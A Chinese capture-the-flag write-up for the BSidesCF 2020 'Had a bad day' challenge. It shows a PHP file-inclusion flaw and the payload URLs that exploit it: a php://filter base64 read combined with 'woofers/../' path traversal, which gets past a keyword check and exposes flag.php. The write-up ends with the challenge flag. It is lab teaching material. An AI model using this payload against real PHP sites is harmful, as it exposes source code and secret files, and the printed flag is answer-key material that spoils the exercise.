[BSidesCF 2020]Had a bad day1

题目

这里有传参

文件包含使用伪协议读取flag

先读取index.php查看

复制代码
/index.php?category=php://filter/read=convert.base64-encode/resource=index

解码

index.php源码

php 复制代码
              <?php
				$file = $_GET['category'];

				if(isset($file))
				{
					if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
						include ($file . '.php');
					}
					else{
						echo "Sorry, we currently only support woofers and meowers.";
					}
				}
				?>

传入的category需要有woofers,meowers,index才能包含传入以传入名为文件名的文件,我们要想办法包含flag.php

尝试直接读取/index.php?category=woofers/../flag

php 复制代码
/index.php?category=php://filter/read=convert.base64-encode/resource=woofers/../flag

解码

拿下flag

flag{85254eba-a050-49cd-a3be-4e9859e51241}

相关推荐
2303_Alpha1 天前
SpringBoot
笔记·学习
萘柰奈1 天前
Unity学习----【进阶】TextMeshPro学习(三)--进阶知识点(TMP基础设置,材质球相关,两个辅助工具类)
学习·unity
沐矢羽1 天前
Tomcat PUT方法任意写文件漏洞学习
学习·tomcat
好奇龙猫1 天前
日语学习-日语知识点小记-进阶-JLPT-N1阶段蓝宝书,共120语法(10):91-100语法+考え方13
学习
向阳花开_miemie1 天前
Android音频学习(十八)——混音流程
学习·音视频
工大一只猿1 天前
51单片机学习
嵌入式硬件·学习·51单片机
c0d1ng1 天前
量子计算学习(第十四周周报)
学习·量子计算
Hello_Embed2 天前
STM32HAL 快速入门(二十):UART 中断改进 —— 环形缓冲区解决数据丢失
笔记·stm32·单片机·学习·嵌入式软件
咸甜适中2 天前
rust语言 (1.88) 学习笔记:客户端和服务器端同在一个项目中
笔记·学习·rust
Magnetic_h2 天前
【iOS】设计模式复习
笔记·学习·ios·设计模式·objective-c·cocoa